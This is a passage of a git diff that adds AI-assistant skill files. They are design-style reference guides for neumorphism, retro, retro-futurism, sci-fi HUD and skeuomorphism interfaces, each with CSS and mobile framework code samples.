var(--base-color); + box-shadow: inset 9px 9px 18px var(--shadow), + inset -9px -9px 18px var(--highlight); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct NeuCard: View { + let baseColor = Color(red: 0.90, green: 0.89, blue: 0.87) // #E6E2DD + + var body: some View { + VStack(spacing: 24) { + Text("Neumorphic Card") + .font(.system(size: 20, weight: .semibold, design: .rounded)) + + Text("Extruded from the surface itself.") + .font(.system(size: 15, design: .rounded)) + .foregroundColor(.secondary) + } + .padding(32) + .background(baseColor) + .cornerRadius(20) + // Light shadow (top-left) + .shadow(color: Color.white.opacity(0.7), radius: 10, x: -8, y: -8) + // Dark shadow (bottom-right) + .shadow(color: Color.black.opacity(0.15), radius: 10, x: 8, y: 8) + } +} + +// Pressed / inset neumorphic button +struct NeuButton: View { + @State private var isPressed = false + let baseColor = Color(red: 0.90, green: 0.89, blue: 0.87) + + var body: some View { + Button(action: {}) { + Text("Press Me") + .font(.system(size: 16, weight: .semibold, design: .rounded)) + .foregroundColor(.primary) + .padding(.horizontal, 32) + .padding(.vertical, 16) + } + .background( + Group { + if isPressed { + // Inset effect using inner shadow (ZStack trick) + RoundedRectangle(cornerRadius: 16) + .fill(baseColor) + .overlay( + RoundedRectangle(cornerRadius: 16) + .stroke(baseColor, lineWidth: 4) + .shadow(color: Color.black.opacity(0.2), radius: 4, x: 4, y: 4) + .clipShape(RoundedRectangle(cornerRadius: 16)) + ) + .overlay( + RoundedRectangle(cornerRadius: 16) + .stroke(baseColor, lineWidth: 4) + .shadow(color: Color.white.opacity(0.7), radius: 4, x: -4, y: -4) + .clipShape(RoundedRectangle(cornerRadius: 16)) + ) + } else { + RoundedRectangle(cornerRadius: 16) + .fill(baseColor) + .shadow(color: Color.white.opacity(0.7), radius: 10, x: -8, y: -8) + .shadow(color: Color.black.opacity(0.15), radius: 10, x: 8, y: 8) + } + } + ) + .buttonStyle(.plain) + .simultaneousGesture( + DragGesture(minimumDistance: 0) + .onChanged { _ in isPressed = true } + .onEnded { _ in isPressed = false } + ) + } +} +``` +- The key trick: two `.shadow()` modifiers — one white (top-left), one dark (bottom-right). +- Inner shadow (pressed state) requires a ZStack/overlay hack since SwiftUI doesn't have native `inset` shadows. Clip stroked shapes to simulate. +- The view's background color MUST match its parent's background exactly. + +### Flutter +```dart +class NeuCard extends StatelessWidget { + final Color baseColor = const Color(0xFFE6E2DD); + + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: baseColor, + borderRadius: BorderRadius.circular(20), + boxShadow: [ + // Dark shadow (bottom-right) + BoxShadow( + color: Colors.black.withOpacity(0.15), + offset: const Offset(8, 8), + blurRadius: 16, + ), + // Light shadow (top-left) + BoxShadow( + color: Colors.white.withOpacity(0.7), + offset: const Offset(-8, -8), + blurRadius: 16, + ), + ], + ), + child: Column( + children: [ + const Text('Neumorphic Card', + style: TextStyle(fontSize: 20, fontWeight: FontWeight.w600)), + const SizedBox(height: 16), + Text('Extruded from the surface itself.', + style: TextStyle(fontSize: 15, color: Colors.black54)), + ], + ), + ); + } +} +``` +- **Inner shadows** (for pressed state) are NOT natively supported in Flutter's `BoxShadow`. +- Use the `flutter_inset_box_shadow` package OR fake it with a layered `Stack`: place a `Container` with a dark gradient overlay on top and a light gradient below. +- Set the `Scaffold` background to the SAME `baseColor` so elements look extruded. + +### React Native +```jsx +const NeuCard = () => ( + + Neumorphic Card + + Extruded from the surface itself. + + +); +``` +- **Major limitation**: React Native only supports ONE shadow per view. True neumorphism requires TWO opposing shadows. +- **Workaround**: Use `react-native-shadow-2` or `react-native-neomorph-shadows` which provide multi-shadow support. +- Alternative: Wrap two nested `View`s — the outer one has the dark shadow, the inner one has the light shadow. +- Inner shadows for pressed states require SVG-based solutions or pre-rendered images. + +### Jetpack Compose +```kotlin +@Composable +fun NeuCard() { + val baseColor = Color(0xFFE6E2DD) + + Box( + modifier = Modifier + .padding(24.dp) + .shadow( + elevation = 8.dp, + shape = RoundedCornerShape(20.dp), + ambientColor = Color.Black.copy(alpha = 0.15f), + spotColor = Color.Black.copy(alpha = 0.15f), + ) + .background(baseColor, RoundedCornerShape(20.dp)) + .padding(32.dp) + ) { + Column { + Text("Neumorphic Card", + fontSize = 20.sp, fontWeight = FontWeight.SemiBold) + Spacer(Modifier.height(16.dp)) + Text("Extruded from the surface itself.", + fontSize = 15.sp, color = Color(0xFF888888)) + } + } +} +``` +- **Compose limitation**: Like React Native, Compose `Modifier.shadow()` only supports a single directional shadow. +- For true dual-shadow neumorphism, use a custom `Modifier.drawBehind { }` with `drawIntoCanvas` to paint two separate shadow paths (one light, one dark). +- The `neumorphic-compose` library provides a pre-built `Modifier.neumorphic()` that handles both shadows. +- Set the `Scaffold` background to the same `baseColor` — this is non-negotiable. + +## Do's and Don'ts +- **DO**: Use inset shadows for "active" states (like pressed buttons or filled form fields). +- **DON'T**: Rely on Neumorphism for critical elements without secondary indicators. Contrast is inherently low, making it an accessibility nightmare if used improperly. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/retro-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/retro-design/SKILL.md new file mode 100644 index 00000000..0a95c93f --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/retro-design/SKILL.md @@ -0,0 +1,283 @@ +--- +name: retro-design +description: Web and App implementation guide for Retro Design (60s-80s). Trigger when user wants vintage aesthetics, warm muted colors, and nostalgic layouts. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Retro Design + +> "A warm, analog feeling. Nostalgia through muted tones, grain, and classic typography." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Warm, Analog Color Palettes**: Colors look faded by the sun or printed on aged paper. +2. **Texture and Noise**: A slight grain overlay to simulate film or old print media. +3. **Classic Typography Pairings**: Heavy, groovy display fonts paired with typewriter or classic serif body copy. + +## Visual DNA +- **Colors**: **Monochromatic Brown** or warm, faded palettes (mustard yellow, burnt orange, sage green, off-white). +- **Typography**: Display fonts like `Cooper Black`, `Garamond`, or `Courier`. +- **Styling**: Badges, stamps, wavy borders, and halftone patterns. + +## Web Implementation +- Use CSS filters and background noise images to create texture. +- **CSS Example**: +```css +body { + background-color: #F4E8D1; /* Aged paper */ + color: #3E2723; /* Deep brown ink */ + font-family: 'Georgia', serif; + + /* Apply a subtle noise overlay using a pseudo-element or background image */ + background-image: url('noise-texture.png'); + background-blend-mode: multiply; +} + +.retro-header { + font-family: 'Cooper Black', serif; + font-size: 4rem; + color: #D35400; /* Burnt orange */ + text-shadow: 2px 2px 0px #F1C40F; /* Mustard yellow drop shadow */ + letter-spacing: -1px; +} + +.retro-card { + background-color: #FFF3E0; + border: 2px solid #3E2723; + border-radius: 12px; + padding: 24px; + + /* Vintage offset shadow */ + box-shadow: 8px 8px 0px #795548; +} + +.retro-badge { + display: inline-block; + background-color: #E74C3C; + color: #F4E8D1; + font-family: monospace; + font-weight: bold; + padding: 8px 16px; + border-radius: 50%; /* Make it look like a sticker */ + transform: rotate(-10deg); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct RetroCard: View { + let paperColor = Color(red: 0.96, green: 0.91, blue: 0.82) // #F4E8D1 + let inkColor = Color(red: 0.24, green: 0.15, blue: 0.14) // #3E2723 + + var body: some View { + ZStack { + paperColor.ignoresSafeArea() + + // Optional: Noise texture + Image("film_grain") + .resizable() + .blendMode(.multiply) + .opacity(0.3) + .ignoresSafeArea() + + VStack(alignment: .leading, spacing: 24) { + Text("RETRO DESIGN") + .font(.custom("Cooper Black", size: 36)) + .foregroundColor(Color(red: 0.83, green: 0.33, blue: 0.0)) // #D35400 + .shadow(color: Color(red: 0.95, green: 0.77, blue: 0.06), radius: 0, x: 2, y: 2) + + Text("Analog warmth and classic typography.") + .font(.custom("Georgia", size: 18)) + .foregroundColor(inkColor) + } + .padding(32) + .background(Color(red: 1.0, green: 0.95, blue: 0.88)) + .cornerRadius(12) + .overlay( + RoundedRectangle(cornerRadius: 12) + .stroke(inkColor, lineWidth: 2) + ) + // Vintage solid offset shadow + .shadow(color: Color(red: 0.47, green: 0.33, blue: 0.28), radius: 0, x: 8, y: 8) + } + } +} +``` +- A grain texture image can be overlaid using `.blendMode(.multiply)`. Be aware of memory usage with full-screen textures. +- Use `.shadow(radius: 0)` to create the hard offset shadows typical of 70s print media. +- Custom fonts like Cooper Black are absolutely required. + +### Flutter +```dart +class RetroCard extends StatelessWidget { + final Color paperColor = const Color(0xFFF4E8D1); + final Color inkColor = const Color(0xFF3E2723); + + @override + Widget build(BuildContext context) { + return Container( + color: paperColor, + child: Stack( + fit: StackFit.expand, + children: [ + // Noise texture + Opacity( + opacity: 0.3, + child: Image.asset('assets/film_grain.png', + fit: BoxFit.cover, + colorBlendMode: BlendMode.multiply), + ), + Center( + child: Container( + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: const Color(0xFFFFF3E0), + borderRadius: BorderRadius.circular(12), + border: Border.all(color: inkColor, width: 2), + boxShadow: const [ + BoxShadow( + color: Color(0xFF795548), + blurRadius: 0, // Hard offset shadow + offset: Offset(8, 8), + ), + ], + ), + child: Column( + mainAxisSize: MainAxisSize.min, + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('RETRO DESIGN', + style: TextStyle( + fontFamily: 'Cooper', + fontSize: 36, + color: Color(0xFFD35400), + shadows: [Shadow(color: Color(0xFFF1C40F), offset: Offset(2, 2))], + )), + const SizedBox(height: 24), + Text('Analog warmth and classic typography.', + style: TextStyle(fontFamily: 'Georgia', fontSize: 18, color: inkColor)), + ], + ), + ), + ), + ], + ), + ); + } +} +``` +- Wrap backgrounds in a `Stack` to place a semi-transparent film grain asset over the solid color. +- Drop shadows for text and containers must have `blurRadius: 0` to emulate offset misregistered ink prints. + +### React Native +```jsx +const RetroCard = () => { + return ( + + + + RETRO DESIGN + + + Analog warmth and classic typography. + + + + ); +}; +``` +- Use `ImageBackground` on the root view for the grain. +- Android's `elevation` cannot do unblurred offset shadows natively. Use `react-native-drop-shadow` for perfect retro shadows on Android. + +### Jetpack Compose +```kotlin +@Composable +fun RetroCard() { + val inkColor = Color(0xFF3E2723) + + Box(modifier = Modifier.fillMaxSize().background(Color(0xFFF4E8D1))) { + // Noise Texture Overlay + Image( + painter = painterResource(id = R.drawable.film_grain), + contentDescription = null, + contentScale = ContentScale.Crop, + modifier = Modifier.matchParentSize().alpha(0.3f), + colorFilter = ColorFilter.tint(Color.Black, BlendMode.Multiply) + ) + + Box( + modifier = Modifier + .align(Alignment.Center) + .padding(24.dp) + // Fake hard shadow in compose by drawing behind + .drawBehind { + drawRoundRect( + color = Color(0xFF795548), + topLeft = Offset(8.dp.toPx(), 8.dp.toPx()), + size = size, + cornerRadius = CornerRadius(12.dp.toPx()) + ) + } + .background(Color(0xFFFFF3E0), RoundedCornerShape(12.dp)) + .border(2.dp, inkColor, RoundedCornerShape(12.dp)) + .padding(32.dp) + ) { + Column { + Text("RETRO DESIGN", + fontFamily = FontFamily(Font(R.font.cooper_black)), + fontSize = 36.sp, + color = Color(0xFFD35400), + style = TextStyle(shadow = Shadow(Color(0xFFF1C40F), Offset(4f, 4f), 0f)) + ) + Spacer(Modifier.height(24.dp)) + Text("Analog warmth and classic typography.", + fontFamily = FontFamily.Serif, + fontSize = 18.sp, + color = inkColor) + } + } + } +} +``` +- Native `Modifier.shadow` creates soft blurs. Use `Modifier.drawBehind` to draw an offset `drawRoundRect` for the hard retro shadow block. +- Text shadows support hard offsets perfectly via `Shadow(color, offset, blurRadius = 0f)`. + +## Do's and Don'ts +- **DO**: Use slightly off-white backgrounds (cream, beige) instead of pure `#FFFFFF` to simulate aged paper. +- **DON'T**: Use sleek, modern geometric sans-serifs or tech-focused neon colors. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/retro-futurism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/retro-futurism/SKILL.md new file mode 100644 index 00000000..af0e8f07 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/retro-futurism/SKILL.md @@ -0,0 +1,259 @@ +--- +name: retro-futurism +description: Web and App implementation guide for Retro Futurism. Trigger when user wants vintage future concepts, 1950s space age aesthetics, or atompunk vibes. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Retro Futurism + +> "The future as imagined in the 1950s and 60s. Rockets, atoms, and sleek, aerodynamic chrome." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Aerodynamic Shapes**: Lots of sweeping curves, teardrop shapes, and swooping lines. Nothing is a perfect square. +2. **Space-Age Motifs**: Stars, atoms, orbits, and fins (like a 1950s Cadillac). +3. **Mid-Century Colors mixed with Chrome**: Classic 50s pastels paired with shiny, reflective metals. + +## Visual DNA +- **Colors**: Turquoise (`#40E0D0`), Atomic Tangerine (`#FF9966`), Mint Green (`#98FF98`), paired with Silver/Chrome and deep Space Black. +- **Typography**: Googie architecture fonts, bold cursive scripts, or clean mid-century geometric sans-serifs (like `Futura`). +- **Styling**: Sleek bezels, dramatic drop shadows, and offset overlapping shapes. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #FDF5E6; /* Old paper / cream */ + color: #2F4F4F; + font-family: 'Futura', 'Trebuchet MS', sans-serif; + overflow-x: hidden; +} + +/* Googie-style sweeping background element */ +.retro-future-swoop { + position: absolute; + top: 0; right: -10%; + width: 120%; height: 300px; + background-color: #40E0D0; /* Turquoise */ + border-radius: 0 0 50% 50%; + transform: rotate(-5deg); + z-index: -1; + border-bottom: 8px solid #FF9966; /* Atomic tangerine stripe */ +} + +.atompunk-card { + background-color: #fff; + border: 4px solid #Silver; + border-radius: 40px 10px 40px 10px; /* Sweeping, aerodynamic corners */ + padding: 32px; + box-shadow: 15px 15px 0px rgba(0,0,0,0.1); + position: relative; +} + +/* Classic starburst motif */ +.starburst { + position: absolute; + top: -20px; left: -20px; + width: 40px; height: 40px; + background-color: #FF9966; + clip-path: polygon(50% 0%, 61% 35%, 98% 35%, 68% 57%, 79% 91%, 50% 70%, 21% 91%, 32% 57%, 2% 35%, 39% 35%); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct AtompunkShape: Shape { + func path(in rect: CGRect) -> Path { + var path = Path() + // Sweeping aerodynamic curves (large radius top-left, bottom-right) + path.addRoundedRect( + in: rect, + cornerSize: CGSize(width: 40, height: 40), + style: .continuous + ) + // To be perfectly authentic, use Path to draw teardrop curves + return path + } +} + +struct RetroFutureCard: View { + var body: some View { + VStack(alignment: .leading, spacing: 16) { + Text("ATOMPUNK") + .font(.custom("Futura", size: 28)) + .fontWeight(.bold) + .foregroundColor(Color(red: 0.18, green: 0.31, blue: 0.31)) + + Text("Sleek chrome and sweeping curves.") + .font(.custom("Futura", size: 16)) + } + .padding(32) + .background(Color.white) + // Asymmetric corners: large top-left/bottom-right, small top-right/bottom-left + .cornerRadius(40, corners: [.topLeft, .bottomRight]) + .cornerRadius(10, corners: [.topRight, .bottomLeft]) + .overlay( + // Chrome-like border + RoundedRectangle(cornerRadius: 10) // Simplified overlay for demo + .stroke( + LinearGradient(colors: [.gray, .white, .gray], startPoint: .top, endPoint: .bottom), + lineWidth: 4 + ) + ) + .shadow(color: .black.opacity(0.1), radius: 0, x: 15, y: 15) + } +} +// Note: Asymmetric corners require a custom ViewModifier in SwiftUI. +``` +- Rely on asymmetrical corner radii to create the aerodynamic, teardrop aesthetic. +- Metallic/Chrome borders are faked by using a `LinearGradient` of grays and whites. + +### Flutter +```dart +class RetroFutureCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: Colors.white, + // Asymmetric "aerodynamic" shape + borderRadius: const BorderRadius.only( + topLeft: Radius.circular(40), + bottomRight: Radius.circular(40), + topRight: Radius.circular(10), + bottomLeft: Radius.circular(10), + ), + // Chrome border simulation + border: Border.all( + width: 4, + color: Colors.transparent, // Requires custom painter for gradient border + ), + boxShadow: [ + BoxShadow( + color: Colors.black.withOpacity(0.1), + offset: const Offset(15, 15), + blurRadius: 0, // Hard shadow + ), + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisSize: MainAxisSize.min, + children: const [ + Text('ATOMPUNK', + style: TextStyle(fontFamily: 'Futura', fontSize: 28, fontWeight: FontWeight.bold, color: Color(0xFF2F4F4F))), + SizedBox(height: 16), + Text('Sleek chrome and sweeping curves.', + style: TextStyle(fontFamily: 'Futura', fontSize: 16)), + ], + ), + ); + } +} +``` +- Flutter handles asymmetric corners natively via `BorderRadius.only()`. +- Gradient borders (for chrome) require a `CustomPaint` or wrapping the container in another container with a gradient background and padding. + +### React Native +```jsx +const RetroFutureCard = () => { + return ( + + + ATOMPUNK + + + Sleek chrome and sweeping curves. + + + ); +}; +``` +- React Native natively supports `borderTopLeftRadius` style independent props, making the aerodynamic shapes trivial. +- Complex geometric backgrounds (like starbursts) should definitely be SVG components imported via `react-native-svg`. + +### Jetpack Compose +```kotlin +@Composable +fun RetroFutureCard() { + Box( + modifier = Modifier + .padding(24.dp) + // Fake hard shadow + .drawBehind { + drawRoundRect( + color = Color.Black.copy(alpha = 0.1f), + topLeft = Offset(15.dp.toPx(), 15.dp.toPx()), + size = size, + cornerRadius = CornerRadius(40.dp.toPx(), 10.dp.toPx()) // Simplification + ) + } + .background( + color = Color.White, + // Aerodynamic asymmetric corners + shape = RoundedCornerShape( + topStart = 40.dp, + topEnd = 10.dp, + bottomEnd = 40.dp, + bottomStart = 10.dp + ) + ) + .border( + width = 4.dp, + brush = Brush.verticalGradient(listOf(Color.LightGray, Color.White, Color.LightGray)), + shape = RoundedCornerShape( + topStart = 40.dp, + topEnd = 10.dp, + bottomEnd = 40.dp, + bottomStart = 10.dp + ) + ) + .padding(32.dp) + ) { + Column { + Text("ATOMPUNK", + fontFamily = FontFamily.SansSerif, // Replace with Futura + fontSize = 28.sp, fontWeight = FontWeight.Bold, color = Color(0xFF2F4F4F)) + Spacer(Modifier.height(16.dp)) + Text("Sleek chrome and sweeping curves.", fontSize = 16.sp) + } + } +} +``` +- Use `RoundedCornerShape(topStart, topEnd, bottomEnd, bottomStart)` to create the atompunk aesthetic. +- The `Modifier.border` takes a `Brush` natively, making the metallic chrome gradient incredibly easy to achieve compared to other frameworks. + +## Do's and Don'ts +- **DO**: Use strict `Futura` or `Century Gothic` for a very authentic mid-century feel. +- **DON'T**: Make the UI look dirty or distressed (that's standard retro or steampunk). Retro-futurism is clean, optimistic, and shiny. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/sci-fi-interface/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/sci-fi-interface/SKILL.md new file mode 100644 index 00000000..6c95681f --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/sci-fi-interface/SKILL.md @@ -0,0 +1,309 @@ +--- +name: sci-fi-interface +description: Web and App implementation guide for Sci-Fi Interface Design. Trigger when user wants HUDs, spacecraft dashboards, or tactical military readouts. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Sci-Fi Interface Design (HUD) + +> "Heads-Up Display. Tactical, precise, and highly analytical." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Wireframe and Outlines**: Interfaces are built almost entirely out of thin strokes rather than solid filled boxes. +2. **Circular Arrays & Radars**: Heavy use of concentric circles, radar sweeps, and curved progress bars. +3. **Monochrome + Warning**: Often entirely monochromatic (just blue, or just green) with a secondary color (red) used exclusively for alerts. + +## Visual DNA +- **Colors**: Midnight background. UI is pure Cyan, Emerald Green, or Amber (like classic monochrome monitors). **Minimalist Slate** works if made dark. +- **Typography**: Strict, technical monospace fonts (`Share Tech Mono`, `VT323`, `Space Mono`). All caps. +- **Styling**: Tiny UI chroming details (target brackets `[ ]`, framing lines, precise pixel coordinates). + +## Web Implementation +- Heavy use of SVG for circular dials, and CSS borders for the layout. +- **CSS Example**: +```css +body { + background-color: #000b18; /* Deep space navy */ + color: #4df; /* Holographic cyan */ + font-family: 'Share Tech Mono', monospace; + text-transform: uppercase; +} + +/* The HUD Frame */ +.hud-container { + border: 1px solid rgba(68, 221, 255, 0.3); + position: relative; + padding: 30px; +} + +/* Corner brackets */ +.hud-container::before { + content: ''; + position: absolute; + top: -2px; left: -2px; + width: 20px; height: 20px; + border-top: 2px solid #4df; + border-left: 2px solid #4df; +} +.hud-container::after { + content: ''; + position: absolute; + bottom: -2px; right: -2px; + width: 20px; height: 20px; + border-bottom: 2px solid #4df; + border-right: 2px solid #4df; +} + +.hud-value { + font-size: 3rem; + text-shadow: 0 0 10px rgba(68, 221, 255, 0.8); +} + +.hud-warning { + color: #ff3333; + text-shadow: 0 0 10px rgba(255, 51, 51, 0.8); + animation: blink 1s step-end infinite; +} + +@keyframes blink { 50% { opacity: 0; } } +``` + +## App Implementation + +### SwiftUI +```swift +struct SciFiHUDView: View { + @State private var bootUp = false + + var body: some View { + ZStack { + Color(hex: "000b18").ignoresSafeArea() // Deep space navy + + VStack { + // Circular Radar/Dial + ZStack { + Circle() + .stroke(Color(hex: "4df").opacity(0.3), lineWidth: 1) + + Circle() + .trim(from: 0.0, to: bootUp ? 0.75 : 0.0) + .stroke(Color(hex: "4df"), style: StrokeStyle(lineWidth: 4, lineCap: .round)) + .rotationEffect(.degrees(-90)) + + Text("SYS.OK") + .font(.custom("Space Mono", size: 24)) + .foregroundColor(Color(hex: "4df")) + .shadow(color: Color(hex: "4df"), radius: 5) + } + .frame(width: 200, height: 200) + .padding(.bottom, 40) + + // HUD Data Frame + HStack { + Text("COORD: 45.22, 12.8") + Spacer() + Text("[ LOCK ]") + } + .font(.custom("Space Mono", size: 16)) + .foregroundColor(Color(hex: "4df")) + .padding() + .border(Color(hex: "4df").opacity(0.5), width: 1) + .overlay( + // Corner bracket accents + Path { path in + path.move(to: CGPoint(x: 0, y: 15)); path.addLine(to: CGPoint(x: 0, y: 0)); path.addLine(to: CGPoint(x: 15, y: 0)) + path.move(to: CGPoint(x: 300, y: 15)); path.addLine(to: CGPoint(x: 300, y: 0)); path.addLine(to: CGPoint(x: 285, y: 0)) + } + .stroke(Color(hex: "4df"), lineWidth: 2) + ) + } + .padding() + } + .onAppear { + withAnimation(.easeInOut(duration: 2.0)) { bootUp = true } + } + } +} +``` +- SwiftUI is uniquely fantastic for Sci-Fi HUDs. `Circle().trim(from: to:)` lets you build complex sweeping circular progress rings. +- Use `Path` overlays to draw the exact 90-degree corner brackets (`[ ]`) that define the HUD look. + +### Flutter +```dart +class SciFiHUDScreen extends StatefulWidget { + @override + State createState() => _SciFiHUDScreenState(); +} + +class _SciFiHUDScreenState extends State with SingleTickerProviderStateMixin { + late AnimationController _ctrl; + + @override + void initState() { + super.initState(); + _ctrl = AnimationController(vsync: this, duration: const Duration(seconds: 2))..forward(); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF000B18), + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Circular Radar + SizedBox( + width: 200, height: 200, + child: Stack( + fit: StackFit.expand, + children: [ + CircularProgressIndicator(value: 1.0, strokeWidth: 1, color: const Color(0xFF44DDFF).withOpacity(0.3)), + AnimatedBuilder( + animation: _ctrl, + builder: (context, _) => CircularProgressIndicator( + value: _ctrl.value * 0.75, // 75% full + strokeWidth: 4, + color: const Color(0xFF44DDFF), + ), + ), + const Center( + child: Text('SYS.OK', style: TextStyle(fontFamily: 'SpaceMono', color: Color(0xFF44DDFF), fontSize: 24, shadows: [Shadow(color: Color(0xFF44DDFF), blurRadius: 5)])), + ) + ], + ), + ), + const SizedBox(height: 40), + + // HUD Data Frame (requires CustomPaint for true corner brackets) + Container( + width: 300, + padding: const EdgeInsets.all(16), + decoration: BoxDecoration(border: Border.all(color: const Color(0xFF44DDFF).withOpacity(0.5))), + child: const Row( + mainAxisAlignment: MainAxisAlignment.spaceBetween, + children: [ + Text('COORD: 45.22, 12.8', style: TextStyle(fontFamily: 'SpaceMono', color: Color(0xFF44DDFF))), + Text('[ LOCK ]', style: TextStyle(fontFamily: 'SpaceMono', color: Color(0xFF44DDFF))), + ], + ), + ) + ], + ), + ), + ); + } +} +``` +- `CircularProgressIndicator` is an easy hack for circular HUD rings, but for true Sci-Fi interfaces in Flutter, you should build a `CustomPainter` to draw concentric stroked circles and arcs. +- Heavy use of monospace fonts and pure cyan (`#44DDFF`). + +### React Native +```jsx +// Requires react-native-svg +import Svg, { Circle, Path } from 'react-native-svg'; + +const SciFiHUDScreen = () => { + return ( + + + {/* Circular Radar */} + + + + + + + SYS.OK + + + + {/* HUD Frame */} + + COORD: 45.22, 12.8 + [ LOCK ] + + {/* Pseudo Corner Brackets using absolute views */} + + + + + + ); +}; +``` +- You absolutely must use `react-native-svg` to draw circular HUD dials. Use `strokeDasharray` and `strokeDashoffset` on the `` to draw arcs. +- The corner brackets are built easily by absolutely positioning small `View`s with 2 active borders over the corners of a container. + +### Jetpack Compose +```kotlin +@Composable +fun SciFiHUDScreen() { + // Animation for boot up + val transition = rememberInfiniteTransition() + val sweep by transition.animateFloat(initialValue = 0f, targetValue = 270f, animationSpec = infiniteRepeatable(tween(2000), RepeatMode.Restart)) + + Column( + modifier = Modifier.fillMaxSize().background(Color(0xFF000B18)), + horizontalAlignment = Alignment.CenterHorizontally, + verticalArrangement = Arrangement.Center + ) { + // Circular Radar + Box(contentAlignment = Alignment.Center, modifier = Modifier.size(200.dp)) { + Canvas(modifier = Modifier.fillMaxSize()) { + drawCircle(color = Color(0xFF44DDFF).copy(alpha = 0.3f), style = Stroke(width = 2f)) + drawArc( + color = Color(0xFF44DDFF), + startAngle = -90f, + sweepAngle = sweep, + useCenter = false, + style = Stroke(width = 8f, cap = StrokeCap.Round) + ) + } + Text("SYS.OK", color = Color(0xFF44DDFF), fontFamily = FontFamily.Monospace, fontSize = 24.sp) + } + + Spacer(Modifier.height(40.dp)) + + // HUD Frame + Box(modifier = Modifier.width(300.dp)) { + Row( + modifier = Modifier.fillMaxWidth().border(1.dp, Color(0xFF44DDFF).copy(alpha = 0.5f)).padding(16.dp), + horizontalArrangement = Arrangement.SpaceBetween + ) { + Text("COORD: 45.22, 12.8", color = Color(0xFF44DDFF), fontFamily = FontFamily.Monospace) + Text("[ LOCK ]", color = Color(0xFF44DDFF), fontFamily = FontFamily.Monospace) + } + + // Corner brackets via Canvas + Canvas(modifier = Modifier.fillMaxSize()) { + val path = Path().apply { + moveTo(0f, 40f); lineTo(0f, 0f); lineTo(40f, 0f) // Top Left + moveTo(size.width, size.height - 40f); lineTo(size.width, size.height); lineTo(size.width - 40f, size.height) // Bottom Right + } + drawPath(path, color = Color(0xFF44DDFF), style = Stroke(width = 4f)) + } + } + } +} +``` +- Jetpack Compose's `Canvas` is incredibly powerful here. Use `drawArc` for the circular HUD rings. +- Draw the corner brackets on a `Canvas` overlaying the Box using `Path().apply { moveTo... lineTo... }`. + +## Do's and Don'ts +- **DO**: Animate elements entering the screen as if they are 'booting up' or 'calibrating' (drawing lines from 0 to 100%). +- **DON'T**: Use drop shadows. Light in a HUD is emitted, not blocked. Use `text-shadow` for glows instead. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/skeuomorphism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/skeuomorphism/SKILL.md new file mode 100644 index 00000000..1acdf187 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/skeuomorphism/SKILL.md @@ -0,0 +1,280 @@ +--- +name: skeuomorphism +description: Web and App implementation guide for Skeuomorphism. Trigger when user wants UI to mimic real-world objects, realistic textures, or physical metaphors. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Skeuomorphism + +> "Digital interfaces that look and behave like their physical counterparts." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Realistic Textures**: Leather, brushed metal, wood grain, paper. The UI should feel like a physical object you can touch. +2. **Physical Lighting & Depth**: Intense attention to specular highlights, drop shadows, inner shadows, bevels, and ambient occlusion. +3. **Real-world Metaphors**: Switches that look like hardware toggles, dials with physical notches, notepads with binding rings. + +## Visual DNA +- **Colors**: Highly dependent on the material being simulated. For rich, classic skeuomorphism, use the **Industrial Chic** (for metal/hardware) or **Monochromatic Brown** (for wood/leather) palettes. +- **Typography**: Fonts that match the physical object (e.g., typewriter fonts for paper, LCD fonts for digital screens, embossed sans-serifs for hardware buttons). +- **Details**: Screws, stitching, glare, and gradients are your primary tools. + +## Web Implementation +- Heavy use of layered background images (textures), complex 